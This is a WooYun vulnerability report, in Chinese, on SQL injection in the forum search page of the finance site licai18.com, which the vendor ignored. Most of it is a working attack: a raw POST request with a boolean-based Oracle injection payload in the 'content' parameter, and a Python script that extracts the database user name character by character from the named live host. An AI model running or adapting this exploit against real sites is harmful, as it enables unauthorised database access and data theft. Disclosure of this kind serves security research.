当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0154772

漏洞标题：理财18网主站存在SQL注入漏洞（附验证脚本）

相关厂商：licai18.com

漏洞作者： 路人甲

提交时间：2015-11-23 14:23

修复时间：2015-11-28 14:24

公开时间：2015-11-28 14:24

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-23： 细节已通知厂商并且等待厂商处理中
2015-11-28： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

详细说明：

POST http://www.licai18.com/bbsnew/List.jsp HTTP/1.1
Content-Length: 100
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Host: www.licai18.com
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Connection: close
Referer: http://www.licai18.com
Pragma: no-cache
Cache-Control: no-cache,no-store
Cookie: JSESSIONID=33741F0E5722851380CC342A25B2CE5B; bdshare_firstime=1447904142373; BAIDUID=03D803A79E5747E0D687ED3D0FBBD17E:FG=1
Content-Type: application/x-www-form-urlencoded
Submit=%b2%e9%d5%d2&choose=title&content=1%25%27%20AND%20length(SYS_CONTEXT('USERENV','CURRENT_USER'))=5%20AND%20%27%25%27%3D%27&sea=1&topicId=1

content参数存在SQL注入
为真时，可以得到USER长度为5：

11.png

为假时：

22.png

33.png


#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'Cookie': '',
    'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
}
payloads = list(string.ascii_lowercase)
payloads += list(string.ascii_uppercase)
for i in range(0,10):
    payloads.append(str(i))
    
print 'start to retrive Oracle user:'
user = ''
for i in range(1,6,1):
    for payload in payloads:
        conn = httplib.HTTPConnection('www.licai18.com', timeout=30)
        params = {
            'Submit': '%b2%e9%d5%d2',
            'content': "1%%' AND ascii(substr(SYS_CONTEXT('USERENV','CURRENT_USER'),%s,1))=%s AND '%%'='" % (i, ord(payload)),
            'choose': 'title',
            'sea': '1',
            'topicId': '1',
            }
        conn.request(method='POST',
                     url='/bbsnew/List.jsp',
                     body = urllib.urlencode(params),
                     headers = headers)
        start_time = time.time()
        html_doc = conn.getresponse().read()
        #print html_doc
        conn.close()
        print '.',
        if html_doc.find('1924') > 0:  # true
            user += payload
            print '\n[in progress]', user
            break
print '\nOracle user is', user

漏洞证明：

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-11-28 14:24

厂商回复：

漏洞Rank：4 (WooYun评价)

最新状态：

暂无

漏洞评价：

评价